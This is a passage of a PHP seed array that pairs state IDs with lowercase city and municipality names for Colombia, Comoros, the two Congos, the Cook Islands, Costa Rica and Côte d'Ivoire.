'name' => 'la florida'],\n ['state_id' => '796', 'name' => 'la llanada'],\n ['state_id' => '796', 'name' => 'la tola'],\n ['state_id' => '796', 'name' => 'la union'],\n ['state_id' => '796', 'name' => 'leiva'],\n ['state_id' => '796', 'name' => 'linares'],\n ['state_id' => '796', 'name' => 'los andes'],\n ['state_id' => '796', 'name' => 'magui'],\n ['state_id' => '796', 'name' => 'mallama'],\n ['state_id' => '796', 'name' => 'mosquera'],\n ['state_id' => '796', 'name' => 'narino'],\n ['state_id' => '796', 'name' => 'olaya herrera'],\n ['state_id' => '796', 'name' => 'ospina'],\n ['state_id' => '796', 'name' => 'pasto'],\n ['state_id' => '796', 'name' => 'pizarro'],\n ['state_id' => '796', 'name' => 'policarpa'],\n ['state_id' => '796', 'name' => 'potosi'],\n ['state_id' => '796', 'name' => 'providencia'],\n ['state_id' => '796', 'name' => 'puerres'],\n ['state_id' => '796', 'name' => 'pupiales'],\n ['state_id' => '796', 'name' => 'ricaurte'],\n ['state_id' => '796', 'name' => 'roberto payan'],\n ['state_id' => '796', 'name' => 'samaniego'],\n ['state_id' => '796', 'name' => 'san bernardo'],\n ['state_id' => '796', 'name' => 'san lorenzo'],\n ['state_id' => '796', 'name' => 'san pablo'],\n ['state_id' => '796', 'name' => 'san pedro de cartago'],\n ['state_id' => '796', 'name' => 'sandona'],\n ['state_id' => '796', 'name' => 'santa barbara'],\n ['state_id' => '796', 'name' => 'santacruz'],\n ['state_id' => '796', 'name' => 'sapuyes'],\n ['state_id' => '796', 'name' => 'taminango'],\n ['state_id' => '796', 'name' => 'tangua'],\n ['state_id' => '796', 'name' => 'tumaco'],\n ['state_id' => '796', 'name' => 'tuquerres'],\n ['state_id' => '796', 'name' => 'yacuanquer'],\n ['state_id' => '798', 'name' => 'colon'],\n ['state_id' => '798', 'name' => 'mocoa'],\n ['state_id' => '798', 'name' => 'orito'],\n ['state_id' => '798', 'name' => 'puerto asis'],\n ['state_id' => '798', 'name' => 'puerto caycedo'],\n ['state_id' => '798', 'name' => 'puerto guzman'],\n ['state_id' => '798', 'name' => 'puerto leguizamo'],\n ['state_id' => '798', 'name' => 'san francisco'],\n ['state_id' => '798', 'name' => 'san miguel'],\n ['state_id' => '798', 'name' => 'santiago'],\n ['state_id' => '798', 'name' => 'sibundoy'],\n ['state_id' => '798', 'name' => 'valle del guamuez'],\n ['state_id' => '798', 'name' => 'villagarzon'],\n ['state_id' => '799', 'name' => 'armenia'],\n ['state_id' => '799', 'name' => 'buenavista'],\n ['state_id' => '799', 'name' => 'calarca'],\n ['state_id' => '799', 'name' => 'circasia'],\n ['state_id' => '799', 'name' => 'cordoba'],\n ['state_id' => '799', 'name' => 'filandia'],\n ['state_id' => '799', 'name' => 'genova'],\n ['state_id' => '799', 'name' => 'la tebaida'],\n ['state_id' => '799', 'name' => 'montenegro'],\n ['state_id' => '799', 'name' => 'pijao'],\n ['state_id' => '799', 'name' => 'quimbaya'],\n ['state_id' => '799', 'name' => 'salento'],\n ['state_id' => '800', 'name' => 'apia'],\n ['state_id' => '800', 'name' => 'balboa'],\n ['state_id' => '800', 'name' => 'belen de umbria'],\n ['state_id' => '800', 'name' => 'dos quebradas'],\n ['state_id' => '800', 'name' => 'guatica'],\n ['state_id' => '800', 'name' => 'la celia'],\n ['state_id' => '800', 'name' => 'la virginia'],\n ['state_id' => '800', 'name' => 'marsella'],\n ['state_id' => '800', 'name' => 'mistrato'],\n ['state_id' => '800', 'name' => 'pereira'],\n ['state_id' => '800', 'name' => 'pueblo rico'],\n ['state_id' => '800', 'name' => 'quinchia'],\n ['state_id' => '800', 'name' => 'santa rosa de cabal'],\n ['state_id' => '800', 'name' => 'santuario'],\n ['state_id' => '802', 'name' => 'aguada'],\n ['state_id' => '802', 'name' => 'albania'],\n ['state_id' => '802', 'name' => 'aratoca'],\n ['state_id' => '802', 'name' => 'barbosa'],\n ['state_id' => '802', 'name' => 'barichara'],\n ['state_id' => '802', 'name' => 'barrancabermeja'],\n ['state_id' => '802', 'name' => 'betulia'],\n ['state_id' => '802', 'name' => 'bolivar'],\n ['state_id' => '802', 'name' => 'bucaramanga'],\n ['state_id' => '802', 'name' => 'cabrera'],\n ['state_id' => '802', 'name' => 'california'],\n ['state_id' => '802', 'name' => 'capitanejo'],\n ['state_id' => '802', 'name' => 'carcasi'],\n ['state_id' => '802', 'name' => 'cepita'],\n ['state_id' => '802', 'name' => 'cerrito'],\n ['state_id' => '802', 'name' => 'charala'],\n ['state_id' => '802', 'name' => 'charta'],\n ['state_id' => '802', 'name' => 'chima'],\n ['state_id' => '802', 'name' => 'chipata'],\n ['state_id' => '802', 'name' => 'cimitarra'],\n ['state_id' => '802', 'name' => 'concepcion'],\n ['state_id' => '802', 'name' => 'confines'],\n ['state_id' => '802', 'name' => 'contratacion'],\n ['state_id' => '802', 'name' => 'coromoro'],\n ['state_id' => '802', 'name' => 'curiti'],\n ['state_id' => '802', 'name' => 'el carmen'],\n ['state_id' => '802', 'name' => 'el guacamayo'],\n ['state_id' => '802', 'name' => 'el penon'],\n ['state_id' => '802', 'name' => 'el playon'],\n ['state_id' => '802', 'name' => 'encino'],\n ['state_id' => '802', 'name' => 'enciso'],\n ['state_id' => '802', 'name' => 'florian'],\n ['state_id' => '802', 'name' => 'floridablanca'],\n ['state_id' => '802', 'name' => 'galan'],\n ['state_id' => '802', 'name' => 'gambita'],\n ['state_id' => '802', 'name' => 'giron'],\n ['state_id' => '802', 'name' => 'guaca'],\n ['state_id' => '802', 'name' => 'guadalupe'],\n ['state_id' => '802', 'name' => 'guapota'],\n ['state_id' => '802', 'name' => 'guavata'],\n ['state_id' => '802', 'name' => 'guepsa'],\n ['state_id' => '802', 'name' => 'hato'],\n ['state_id' => '802', 'name' => 'jesus maria'],\n ['state_id' => '802', 'name' => 'jordan'],\n ['state_id' => '802', 'name' => 'la belleza'],\n ['state_id' => '802', 'name' => 'la paz'],\n ['state_id' => '802', 'name' => 'landazuri'],\n ['state_id' => '802', 'name' => 'lebrija'],\n ['state_id' => '802', 'name' => 'los santos'],\n ['state_id' => '802', 'name' => 'macaravita'],\n ['state_id' => '802', 'name' => 'malaga'],\n ['state_id' => '802', 'name' => 'matanza'],\n ['state_id' => '802', 'name' => 'mogotes'],\n ['state_id' => '802', 'name' => 'molagavita'],\n ['state_id' => '802', 'name' => 'ocamonte'],\n ['state_id' => '802', 'name' => 'oiba'],\n ['state_id' => '802', 'name' => 'onzaga'],\n ['state_id' => '802', 'name' => 'palmar'],\n ['state_id' => '802', 'name' => 'palmas del socorro'],\n ['state_id' => '802', 'name' => 'paramo'],\n ['state_id' => '802', 'name' => 'piedecuesta'],\n ['state_id' => '802', 'name' => 'pinchote'],\n ['state_id' => '802', 'name' => 'puente nacional'],\n ['state_id' => '802', 'name' => 'puerto parra'],\n ['state_id' => '802', 'name' => 'puerto wilches'],\n ['state_id' => '802', 'name' => 'rionegro'],\n ['state_id' => '802', 'name' => 'sabana de torres'],\n ['state_id' => '802', 'name' => 'san andres'],\n ['state_id' => '802', 'name' => 'san benito'],\n ['state_id' => '802', 'name' => 'san gil'],\n ['state_id' => '802', 'name' => 'san joaquin'],\n ['state_id' => '802', 'name' => 'san jose de miranda'],\n ['state_id' => '802', 'name' => 'san miguel'],\n ['state_id' => '802', 'name' => 'san vicente de chucuri'],\n ['state_id' => '802', 'name' => 'santa barbara'],\n ['state_id' => '802', 'name' => 'santa helena'],\n ['state_id' => '802', 'name' => 'simacota'],\n ['state_id' => '802', 'name' => 'socorro'],\n ['state_id' => '802', 'name' => 'suaita'],\n ['state_id' => '802', 'name' => 'sucre'],\n ['state_id' => '802', 'name' => 'surata'],\n ['state_id' => '802', 'name' => 'tona'],\n ['state_id' => '802', 'name' => 'valle san jose'],\n ['state_id' => '802', 'name' => 'velez'],\n ['state_id' => '802', 'name' => 'vetas'],\n ['state_id' => '802', 'name' => 'villanueva'],\n ['state_id' => '802', 'name' => 'zapatoca'],\n ['state_id' => '803', 'name' => 'buenavista'],\n ['state_id' => '803', 'name' => 'caimito'],\n ['state_id' => '803', 'name' => 'chalan'],\n ['state_id' => '803', 'name' => 'coloso'],\n ['state_id' => '803', 'name' => 'corozal'],\n ['state_id' => '803', 'name' => 'el roble'],\n ['state_id' => '803', 'name' => 'galeras'],\n ['state_id' => '803', 'name' => 'guaranda'],\n ['state_id' => '803', 'name' => 'la union'],\n ['state_id' => '803', 'name' => 'los palmitos'],\n ['state_id' => '803', 'name' => 'majagual'],\n ['state_id' => '803', 'name' => 'morroa'],\n ['state_id' => '803', 'name' => 'ovejas'],\n ['state_id' => '803', 'name' => 'palmito'],\n ['state_id' => '803', 'name' => 'sampues'],\n ['state_id' => '803', 'name' => 'san benito abad'],\n ['state_id' => '803', 'name' => 'san juan de betulia'],\n ['state_id' => '803', 'name' => 'san marcos'],\n ['state_id' => '803', 'name' => 'san onofre'],\n ['state_id' => '803', 'name' => 'san pedro'],\n ['state_id' => '803', 'name' => 'since'],\n ['state_id' => '803', 'name' => 'sincelejo'],\n ['state_id' => '803', 'name' => 'sucre'],\n ['state_id' => '803', 'name' => 'tolu'],\n ['state_id' => '803', 'name' => 'toluviejo'],\n ['state_id' => '804', 'name' => 'alpujarra'],\n ['state_id' => '804', 'name' => 'alvarado'],\n ['state_id' => '804', 'name' => 'ambalema'],\n ['state_id' => '804', 'name' => 'anzoategui'],\n ['state_id' => '804', 'name' => 'ataco'],\n ['state_id' => '804', 'name' => 'cajamarca'],\n ['state_id' => '804', 'name' => 'carmen de apicala'],\n ['state_id' => '804', 'name' => 'casabianca'],\n ['state_id' => '804', 'name' => 'chaparral'],\n ['state_id' => '804', 'name' => 'coello'],\n ['state_id' => '804', 'name' => 'coyaima'],\n ['state_id' => '804', 'name' => 'cunday'],\n ['state_id' => '804', 'name' => 'dolores'],\n ['state_id' => '804', 'name' => 'espinal'],\n ['state_id' => '804', 'name' => 'falan'],\n ['state_id' => '804', 'name' => 'flandes'],\n ['state_id' => '804', 'name' => 'fresno'],\n ['state_id' => '804', 'name' => 'guamo'],\n ['state_id' => '804', 'name' => 'guayabal'],\n ['state_id' => '804', 'name' => 'herveo'],\n ['state_id' => '804', 'name' => 'honda'],\n ['state_id' => '804', 'name' => 'ibague'],\n ['state_id' => '804', 'name' => 'icononzo'],\n ['state_id' => '804', 'name' => 'lerida'],\n ['state_id' => '804', 'name' => 'libano'],\n ['state_id' => '804', 'name' => 'mariquita'],\n ['state_id' => '804', 'name' => 'melgar'],\n ['state_id' => '804', 'name' => 'murillo'],\n ['state_id' => '804', 'name' => 'natagaima'],\n ['state_id' => '804', 'name' => 'ortega'],\n ['state_id' => '804', 'name' => 'palocabildo'],\n ['state_id' => '804', 'name' => 'piedras'],\n ['state_id' => '804', 'name' => 'planadas'],\n ['state_id' => '804', 'name' => 'prado'],\n ['state_id' => '804', 'name' => 'purificacion'],\n ['state_id' => '804', 'name' => 'rioblanco'],\n ['state_id' => '804', 'name' => 'roncesvalles'],\n ['state_id' => '804', 'name' => 'rovira'],\n ['state_id' => '804', 'name' => 'saldana'],\n ['state_id' => '804', 'name' => 'san antonio'],\n ['state_id' => '804', 'name' => 'san luis'],\n ['state_id' => '804', 'name' => 'santa isabel'],\n ['state_id' => '804', 'name' => 'suarez'],\n ['state_id' => '804', 'name' => 'valle de san juan'],\n ['state_id' => '804', 'name' => 'venadillo'],\n ['state_id' => '804', 'name' => 'villahermosa'],\n ['state_id' => '804', 'name' => 'villarrica'],\n ['state_id' => '806', 'name' => 'acaricuara'],\n ['state_id' => '806', 'name' => 'mitu'],\n ['state_id' => '806', 'name' => 'papunaua'],\n ['state_id' => '806', 'name' => 'taraira'],\n ['state_id' => '806', 'name' => 'villa fatima'],\n ['state_id' => '806', 'name' => 'yavarate'],\n ['state_id' => '807', 'name' => 'cumaribo'],\n ['state_id' => '807', 'name' => 'la primavera'],\n ['state_id' => '807', 'name' => 'puerto carreno'],\n ['state_id' => '807', 'name' => 'santa rosalia'],\n ['state_id' => '808', 'name' => 'fomboni'],\n ['state_id' => '809', 'name' => 'mitsamiouli'],\n ['state_id' => '809', 'name' => 'moroni'],\n ['state_id' => '810', 'name' => 'domoni'],\n ['state_id' => '810', 'name' => 'mutsamudu'],\n ['state_id' => '811', 'name' => 'loudima'],\n ['state_id' => '811', 'name' => 'madingou'],\n ['state_id' => '811', 'name' => 'nkayi'],\n ['state_id' => '812', 'name' => 'brazzaville'],\n ['state_id' => '813', 'name' => 'ewo'],\n ['state_id' => '813', 'name' => 'kelle'],\n ['state_id' => '813', 'name' => 'makoua'],\n ['state_id' => '813', 'name' => 'mossaka'],\n ['state_id' => '813', 'name' => 'owando'],\n ['state_id' => '814', 'name' => 'loandjili'],\n ['state_id' => '814', 'name' => 'ngamaba-mfilou'],\n ['state_id' => '814', 'name' => 'pointe noire'],\n ['state_id' => '815', 'name' => 'sibiti'],\n ['state_id' => '815', 'name' => 'zanaga'],\n ['state_id' => '816', 'name' => 'dongou'],\n ['state_id' => '816', 'name' => 'epena'],\n ['state_id' => '816', 'name' => 'impfondo'],\n ['state_id' => '817', 'name' => 'kibangou'],\n ['state_id' => '817', 'name' => 'loubomo'],\n ['state_id' => '817', 'name' => 'matsanga'],\n ['state_id' => '817', 'name' => 'mossendjo'],\n ['state_id' => '818', 'name' => 'djambala'],\n ['state_id' => '818', 'name' => 'gamboma'],\n ['state_id' => '819', 'name' => 'boko'],\n ['state_id' => '819', 'name' => 'kinkala'],\n ['state_id' => '819', 'name' => 'mindouli'],\n ['state_id' => '820', 'name' => 'ikelemba'],\n ['state_id' => '820', 'name' => 'ouesso'],\n ['state_id' => '820', 'name' => 'sembe'],\n ['state_id' => '820', 'name' => 'souanke'],\n ['state_id' => '821', 'name' => 'bandundu'],\n ['state_id' => '821', 'name' => 'bolobo'],\n ['state_id' => '821', 'name' => 'bulungu'],\n ['state_id' => '821', 'name' => 'gungu'],\n ['state_id' => '821', 'name' => 'idiofa'],\n ['state_id' => '821', 'name' => 'inongo'],\n ['state_id' => '821', 'name' => 'kahemba'],\n ['state_id' => '821', 'name' => 'kasongo-lunda'],\n ['state_id' => '821', 'name' => 'kenge'],\n ['state_id' => '821', 'name' => 'kikwit'],\n ['state_id' => '821', 'name' => 'kiri'],\n ['state_id' => '821', 'name' => 'kutu'],\n ['state_id' => '821', 'name' => 'lusanga'],\n ['state_id' => '821', 'name' => 'mangai'],\n ['state_id' => '821', 'name' => 'mushie'],\n ['state_id' => '821', 'name' => 'nioki'],\n ['state_id' => '822', 'name' => 'boma'],\n ['state_id' => '822', 'name' => 'kasangulu'],\n ['state_id' => '822', 'name' => 'kimpese'],\n ['state_id' => '822', 'name' => 'madimba'],\n ['state_id' => '822', 'name' => 'matadi'],\n ['state_id' => '822', 'name' => 'mbanza-ngungu'],\n ['state_id' => '822', 'name' => 'muanda'],\n ['state_id' => '822', 'name' => 'tshela'],\n ['state_id' => '823', 'name' => 'basankusu'],\n ['state_id' => '823', 'name' => 'binga'],\n ['state_id' => '823', 'name' => 'bodalangi'],\n ['state_id' => '823', 'name' => 'boende'],\n ['state_id' => '823', 'name' => 'bongandanga'],\n ['state_id' => '823', 'name' => 'bosobolo'],\n ['state_id' => '823', 'name' => 'bumba'],\n ['state_id' => '823', 'name' => 'businga'],\n ['state_id' => '823', 'name' => 'gbadolite'],\n ['state_id' => '823', 'name' => 'gemena'],\n ['state_id' => '823', 'name' => 'ikela'],\n ['state_id' => '823', 'name' => 'libenge'],\n ['state_id' => '823', 'name' => 'lisala'],\n ['state_id' => '823', 'name' => 'makanza'],\n ['state_id' => '823', 'name' => 'mbandaka'],\n ['state_id' => '823', 'name' => 'mobayi-mbongo'],\n ['state_id' => '823', 'name' => 'yakoma'],\n ['state_id' => '823', 'name' => 'yandongi'],\n ['state_id' => '823', 'name' => 'yumbi'],\n ['state_id' => '823', 'name' => 'zongo'],\n ['state_id' => '824', 'name' => 'aba'],\n ['state_id' => '824', 'name' => 'aketi'],\n ['state_id' => '824', 'name' => 'bafwasende'],\n ['state_id' => '824', 'name' => 'banalia'],\n ['state_id' => '824', 'name' => 'basoko'],\n ['state_id' => '824', 'name' => 'bondo'],\n ['state_id' => '824', 'name' => 'bunia'],\n ['state_id' => '824', 'name' => 'buta'],\n ['state_id' => '824', 'name' => 'djugu'],\n ['state_id' => '824', 'name' => 'faradje'],\n ['state_id' => '824', 'name' => 'gwane'],\n ['state_id' => '824', 'name' => 'isiro'],\n ['state_id' => '824', 'name' => 'itoko'],\n ['state_id' => '824', 'name' => 'kisangani'],\n ['state_id' => '824', 'name' => 'mambasa'],\n ['state_id' => '824', 'name' => 'mongbwalu'],\n ['state_id' => '824', 'name' => 'niangara'],\n ['state_id' => '824', 'name' => 'poko'],\n ['state_id' => '824', 'name' => 'simba'],\n ['state_id' => '824', 'name' => 'titule'],\n ['state_id' => '824', 'name' => 'ubundu'],\n ['state_id' => '824', 'name' => 'wamba'],\n ['state_id' => '824', 'name' => 'watsa'],\n ['state_id' => '824', 'name' => 'yangambi'],\n ['state_id' => '825', 'name' => 'demba'],\n ['state_id' => '825', 'name' => 'dibaya'],\n ['state_id' => '825', 'name' => 'ilebo'],\n ['state_id' => '825', 'name' => 'kananga'],\n ['state_id' => '825', 'name' => 'kazumba'],\n ['state_id' => '825', 'name' => 'luebo'],\n ['state_id' => '825', 'name' => 'mweka'],\n ['state_id' => '825', 'name' => 'tshikapa'],\n ['state_id' => '826', 'name' => 'gandajika'],\n ['state_id' => '826', 'name' => 'kabinda'],\n ['state_id' => '826', 'name' => 'katako-kombe'],\n ['state_id' => '826', 'name' => 'kole'],\n ['state_id' => '826', 'name' => 'lodja'],\n ['state_id' => '826', 'name' => 'lubao'],\n ['state_id' => '826', 'name' => 'lubefu'],\n ['state_id' => '826', 'name' => 'lusambo'],\n ['state_id' => '826', 'name' => 'mbuji-mayi'],\n ['state_id' => '826', 'name' => 'mwene-ditu'],\n ['state_id' => '826', 'name' => 'tshilenge'],\n ['state_id' => '826', 'name' => 'tshofa'],\n ['state_id' => '827', 'name' => 'bukama'],\n ['state_id' => '827', 'name' => 'dilolo'],\n ['state_id' => '827', 'name' => 'kabalo'],\n ['state_id' => '827', 'name' => 'kalemie'],\n ['state_id' => '827', 'name' => 'kambove'],\n ['state_id' => '827', 'name' => 'kamina'],\n ['state_id' => '827', 'name' => 'kaniama'],\n ['state_id' => '827', 'name' => 'kikondjo'],\n ['state_id' => '827', 'name' => 'kipushi'],\n ['state_id' => '827', 'name' => 'kolwezi'],\n ['state_id' => '827', 'name' => 'kongolo'],\n ['state_id' => '827', 'name' => 'le marinel'],\n ['state_id' => '827', 'name' => 'likasi'],\n ['state_id' => '827', 'name' => 'lubudi'],\n ['state_id' => '827', 'name' => 'lubumbashi'],\n ['state_id' => '827', 'name' => 'malemba-nkulu'],\n ['state_id' => '827', 'name' => 'manono'],\n ['state_id' => '827', 'name' => 'moba'],\n ['state_id' => '827', 'name' => 'mulongo'],\n ['state_id' => '827', 'name' => 'mwanza'],\n ['state_id' => '827', 'name' => 'nyunzu'],\n ['state_id' => '827', 'name' => 'sakania'],\n ['state_id' => '827', 'name' => 'shinkolobwe'],\n ['state_id' => '828', 'name' => 'kinshasa'],\n ['state_id' => '829', 'name' => 'kalima'],\n ['state_id' => '829', 'name' => 'kasongo'],\n ['state_id' => '829', 'name' => 'kindu'],\n ['state_id' => '830', 'name' => 'beni'],\n ['state_id' => '830', 'name' => 'butembo'],\n ['state_id' => '830', 'name' => 'goma'],\n ['state_id' => '831', 'name' => 'bukavu'],\n ['state_id' => '831', 'name' => 'kabare'],\n ['state_id' => '831', 'name' => 'kama'],\n ['state_id' => '831', 'name' => 'kampene'],\n ['state_id' => '831', 'name' => 'kibombo'],\n ['state_id' => '831', 'name' => 'uvira'],\n ['state_id' => '832', 'name' => 'amuri'],\n ['state_id' => '833', 'name' => 'atiu'],\n ['state_id' => '834', 'name' => 'mangaia'],\n ['state_id' => '835', 'name' => 'tauhunu'],\n ['state_id' => '836', 'name' => 'mauke'],\n ['state_id' => '837', 'name' => 'mitiaro'],\n ['state_id' => '838', 'name' => 'nassau'],\n ['state_id' => '839', 'name' => 'roto'],\n ['state_id' => '840', 'name' => 'rakahanga'],\n ['state_id' => '841', 'name' => 'avarua'],\n ['state_id' => '842', 'name' => 'omoka'],\n ['state_id' => '843', 'name' => 'alajuela'],\n ['state_id' => '843', 'name' => 'atenas'],\n ['state_id' => '843', 'name' => 'bijagua'],\n ['state_id' => '843', 'name' => 'buenos aires'],\n ['state_id' => '843', 'name' => 'carrillos'],\n ['state_id' => '843', 'name' => 'desemparados'],\n ['state_id' => '843', 'name' => 'dos rios'],\n ['state_id' => '843', 'name' => 'esquipulas'],\n ['state_id' => '843', 'name' => 'florencia'],\n ['state_id' => '843', 'name' => 'fortuna'],\n ['state_id' => '843', 'name' => 'grecia'],\n ['state_id' => '843', 'name' => 'guacimo'],\n ['state_id' => '843', 'name' => 'laguna'],\n ['state_id' => '843', 'name' => 'los chiles'],\n ['state_id' => '843', 'name' => 'mastate'],\n ['state_id' => '843', 'name' => 'naranjo'],\n ['state_id' => '843', 'name' => 'orotina'],\n ['state_id' => '843', 'name' => 'palmares'],\n ['state_id' => '843', 'name' => 'piedades norte'],\n ['state_id' => '843', 'name' => 'pital'],\n ['state_id' => '843', 'name' => 'pocosol'],\n ['state_id' => '843', 'name' => 'quesada'],\n ['state_id' => '843', 'name' => 'rio segundo'],\n ['state_id' => '843', 'name' => 'sabanilla'],\n ['state_id' => '843', 'name' => 'san antonio'],\n ['state_id' => '843', 'name' => 'san jose'],\n ['state_id' => '843', 'name' => 'san juan'],\n ['state_id' => '843', 'name' => 'san mateo'],\n ['state_id' => '843', 'name' => 'san pedro'],\n ['state_id' => '843', 'name' => 'san rafael'],\n ['state_id' => '843', 'name' => 'san ramon'],\n ['state_id' => '843', 'name' => 'san roque'],\n ['state_id' => '843', 'name' => 'santiago'],\n ['state_id' => '843', 'name' => 'sarchi norte'],\n ['state_id' => '843', 'name' => 'sarchi sur'],\n ['state_id' => '843', 'name' => 'tigra'],\n ['state_id' => '843', 'name' => 'turricares'],\n ['state_id' => '843', 'name' => 'upala'],\n ['state_id' => '843', 'name' => 'venado'],\n ['state_id' => '843', 'name' => 'zarcero'],\n ['state_id' => '844', 'name' => 'aguacaliente'],\n ['state_id' => '844', 'name' => 'capellades'],\n ['state_id' => '844', 'name' => 'carmen'],\n ['state_id' => '844', 'name' => 'cartago'],\n ['state_id' => '844', 'name' => 'concepcion'],\n ['state_id' => '844', 'name' => 'cot'],\n ['state_id' => '844', 'name' => 'dulce nombre'],\n ['state_id' => '844', 'name' => 'el tejar'],\n ['state_id' => '844', 'name' => 'guadalupe'],\n ['state_id' => '844', 'name' => 'juan vinas'],\n ['state_id' => '844', 'name' => 'la suiza'],\n ['state_id' => '844', 'name' => 'orosi'],\n ['state_id' => '844', 'name' => 'pacayas'],\n ['state_id' => '844', 'name' => 'paraiso'],\n ['state_id' => '844', 'name' => 'pejibaye'],\n ['state_id' => '844', 'name' => 'san diego'],\n ['state_id' => '844', 'name' => 'san isidro'],\n ['state_id' => '844', 'name' => 'san juan'],\n ['state_id' => '844', 'name' => 'san nicolas'],\n ['state_id' => '844', 'name' => 'san rafael'],\n ['state_id' => '844', 'name' => 'san ramon'],\n ['state_id' => '844', 'name' => 'tierra blanca'],\n ['state_id' => '844', 'name' => 'tobosi'],\n ['state_id' => '844', 'name' => 'tres rios'],\n ['state_id' => '844', 'name' => 'tucurrique'],\n ['state_id' => '844', 'name' => 'turrialba'],\n ['state_id' => '845', 'name' => 'bagaces'],\n ['state_id' => '845', 'name' => 'belen'],\n ['state_id' => '845', 'name' => 'canas'],\n ['state_id' => '845', 'name' => 'filadeldia'],\n ['state_id' => '845', 'name' => 'fortuna'],\n ['state_id' => '845', 'name' => 'hojancha'],\n ['state_id' => '845', 'name' => 'juntas'],\n ['state_id' => '845', 'name' => 'la cruz'],\n ['state_id' => '845', 'name' => 'liberia'],\n ['state_id' => '845', 'name' => 'mogote'],\n ['state_id' => '845', 'name' => 'nandayure'],\n ['state_id' => '845', 'name' => 'nicoya'],\n ['state_id' => '845', 'name' => 'samara'],\n ['state_id' => '845', 'name' => 'santa cruz'],\n ['state_id' => '845', 'name' => 'sardinal'],\n ['state_id' => '845', 'name' => 'tilaran'],\n ['state_id' => '846', 'name' => 'angeles'],\n ['state_id' => '846', 'name' => 'asuncion'],\n ['state_id' => '846', 'name' => 'barrantes'],\n ['state_id' => '846', 'name' => 'barva'],\n ['state_id' => '846', 'name' => 'heredia'],\n ['state_id' => '846', 'name' => 'horquetas'],\n ['state_id' => '846', 'name' => 'llorente'],\n ['state_id' => '846', 'name' => 'mercedes'],\n ['state_id' => '846', 'name' => 'puerto viejo'],\n ['state_id' => '846', 'name' => 'rivera'],\n ['state_id' => '846', 'name' => 'san antonio'],\n ['state_id' => '846', 'name' => 'san francisco'],\n ['state_id' => '846', 'name' => 'san isidro'],\n ['state_id' => '846', 'name' => 'san joaquin'],\n ['state_id' => '846', 'name' => 'san jose'],\n ['state_id' => '846', 'name' => 'san josecito'],\n ['state_id' => '846', 'name' => 'san juan'],\n ['state_id' => '846', 'name' => 'san miguel'],\n ['state_id' => '846', 'name' => 'san pablo'],\n ['state_id' => '846', 'name' => 'san pedro'],\n ['state_id' => '846', 'name' => 'san rafael'],\n ['state_id' => '846', 'name' => 'san roque'],\n ['state_id' => '846', 'name' => 'san vicente'],\n ['state_id' => '846', 'name' => 'santa barbara'],\n ['state_id' => '846', 'name' => 'santa lucia'],\n ['state_id' => '846', 'name' => 'santa rosa'],\n ['state_id' => '846', 'name' => 'santiago'],\n ['state_id' => '846', 'name' => 'santo domingo'],\n ['state_id' => '846', 'name' => 'santo tomas'],\n ['state_id' => '846', 'name' => 'ulloa'],\n ['state_id' => '847', 'name' => 'batan'],\n ['state_id' => '847', 'name' => 'cahuita'],\n ['state_id' => '847', 'name' => 'cariari'],\n ['state_id' => '847', 'name' => 'guacimo'],\n ['state_id' => '847', 'name' => 'guapiles'],\n ['state_id' => '847', 'name' => 'jimenez'],\n ['state_id' => '847', 'name' => 'limon'],\n ['state_id' => '847', 'name' => 'matina'],\n ['state_id' => '847', 'name' => 'pocora'],\n ['state_id' => '847', 'name' => 'rita'],\n ['state_id' => '847', 'name' => 'roxana'],\n ['state_id' => '847', 'name' => 'siquirres'],\n ['state_id' => '847', 'name' => 'sixaola'],\n ['state_id' => '847', 'name' => 'valle la estrella'],\n ['state_id' => '848', 'name' => 'buenos aires'],\n ['state_id' => '848', 'name' => 'canoas'],\n ['state_id' => '848', 'name' => 'chacarita'],\n ['state_id' => '848', 'name' => 'corredor'],\n ['state_id' => '848', 'name' => 'esparta'],\n ['state_id' => '848', 'name' => 'espiritu santo'],\n ['state_id' => '848', 'name' => 'golfito'],\n ['state_id' => '848', 'name' => 'guaycara'],\n ['state_id' => '848', 'name' => 'jaco'],\n ['state_id' => '848', 'name' => 'la cuesta'],\n ['state_id' => '848', 'name' => 'macacona'],\n ['state_id' => '848', 'name' => 'manzanillo'],\n ['state_id' => '848', 'name' => 'miramar'],\n ['state_id' => '848', 'name' => 'palmar'],\n ['state_id' => '848', 'name' => 'paquera'],\n ['state_id' => '848', 'name' => 'parrita'],\n ['state_id' => '848', 'name' => 'puerto cortes'],\n ['state_id' => '848', 'name' => 'puerto jimenez'],\n ['state_id' => '848', 'name' => 'puntarenas'],\n ['state_id' => '848', 'name' => 'quepos'],\n ['state_id' => '848', 'name' => 'san vito'],\n ['state_id' => '850', 'name' => 'marcory'],\n ['state_id' => '851', 'name' => 'adzope'],\n ['state_id' => '851', 'name' => 'affery'],\n ['state_id' => '851', 'name' => 'agboville'],\n ['state_id' => '851', 'name' => 'akoupe'],\n ['state_id' => '851', 'name' => 'rubino'],\n ['state_id' => '852', 'name' => 'touba'],\n ['state_id' => '853', 'name' => 'bako'],\n ['state_id' => '853', 'name' => 'odienne'],\n ['state_id' => '855', 'name' => 'gagnoa'],\n ['state_id' => '855', 'name' => 'guiberoua'],\n ['state_id' => '855', 'name' => 'hire'],\n ['state_id' => '855', 'name' => 'ndouci'],\n ['state_id' => '855', 'name' => 'oume'],\n ['state_id' => '855', 'name' => 'ouragahio'],\n ['state_id' => '856', 'name' => 'daloa'],\n ['state_id' => '856', 'name' => 'issia'],\n ['state_id' => '856', 'name' => 'vavoua'],\n ['state_id' => '857', 'name' => 'ndiekro'],\n ['state_id' => '857', 'name' => 'tiebissou'],\n ['state_id' => '857', 'name' => 'toumodi'],\n ['state_id' => '857', 'name' => 'yamoussoukro'],\n ['state_id' => '858', 'name' => 'abidjan'],\n ['state_id' => '858', 'name' => 'alepe'],\n ['state_id' => '858', 'name' => 'anyama'],\n ['state_id' => '858', 'name' => 'bingerville'],\n ['state_id' => '858', 'name' => 'dabou'],\n ['state_id' => '858', 'name' => 'grand-lahou'],\n ['state_id' => '858', 'name' => 'jacqueville'],\n ['state_id' => '858', 'name' => 'tiassale'],\n ['state_id' => '859', 'name' => 'bouafle'],\n ['state_id' => '859', 'name' => 'sinfra'],\n ['state_id' => '859', 'name' => 'zuenoula'],\n ['state_id' => '860', 'name' => 'duekoue'],\n ['state_id' => '860', 'name' => 'guiglo'],\n ['state_id' => '860', 'name' => 'toulepleu'],\n ['state_id' => '861', 'name' => 'abengourou'],\n ['state_id' => '861', 'name' => 'agnibilekrou'],\n ['state_id' => '862', 'name' => 'arrah'],\n ['state_id' => '862', 'name' => 'bocanda'],\n ['state_id' => '862', 'name' => 'bongouanou'],\n ['state_id' => '862', 'name' => 'daoukro'],\n ['state_id' => '862', 'name' => 'dimbokro'],\n ['state_id' => '862', 'name' => 